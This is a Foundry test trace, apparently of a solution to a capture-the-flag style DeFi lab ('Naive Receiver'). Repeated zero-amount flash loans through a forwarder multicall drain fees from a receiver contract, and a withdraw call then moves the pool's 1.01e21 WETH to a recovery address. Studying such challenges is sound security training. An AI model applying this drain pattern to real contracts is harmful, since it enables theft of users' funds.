│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [41076] NaiveReceiverPool::flashLoan(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 0x3078) [delegatecall]
│ │ │ ├─ [3607] WETH::transfer(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], 0)
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], amount: 0)
│ │ │ │ └─ ← [Return] true
│ │ │ ├─ [26831] FlashLoanReceiver::onFlashLoan(BasicForwarder: [0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264], WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], 0, 1000000000000000000 [1e18], 0x3078)
│ │ │ │ ├─ [570] NaiveReceiverPool::weth() [staticcall]
│ │ │ │ │ └─ ← [Return] WETH: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b]
│ │ │ │ ├─ [23002] WETH::approve(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ │ ├─ emit Approval(owner: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], spender: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ │ └─ ← [Return] 0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9
│ │ │ ├─ [4610] WETH::transferFrom(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], 1000000000000000000 [1e18])
│ │ │ │ ├─ emit Transfer(from: FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50], to: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], amount: 1000000000000000000 [1e18])
│ │ │ │ └─ ← [Return] 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← [Return] true
│ │ ├─ [28685] NaiveReceiverPool::withdraw(1010000000000000000000 [1.01e21], recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [delegatecall]
│ │ │ ├─ [25507] WETH::transfer(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], 1010000000000000000000 [1.01e21])
│ │ │ │ ├─ emit Transfer(from: NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5], to: recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa], amount: 1010000000000000000000 [1.01e21])
│ │ │ │ └─ ← [Return] true
│ │ │ └─ ← [Stop]
│ │ └─ ← [Return] [0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000000000000000000000000000001, 0x]
│ └─ ← [Return] true
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::getNonce(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertLe(0, 2) [staticcall]
│ └─ ← [Return]
├─ [825] WETH::balanceOf(FlashLoanReceiver: [0x9c52B2C4A89E2BE37972d18dA937cbAd8AA8bd50]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "Unexpected balance in receiver contract") [staticcall]
│ └─ ← [Return]
├─ [825] WETH::balanceOf(NaiveReceiverPool: [0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "Unexpected balance in pool") [staticcall]
│ └─ ← [Return]
├─ [825] WETH::balanceOf(recovery: [0x73030B99950fB19C6A813465E58A0BcA5487FBEa]) [staticcall]
│ └─ ← [Return] 1010000000000000000000 [1.01e21]
├─ [0] VM::assertEq(1010000000000000000000 [1.01e21], 1010000000000000000000 [1.01e21], "Not enough WETH in recovery account") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 41.39ms (13.88ms CPU time)

🔗 GitHub: View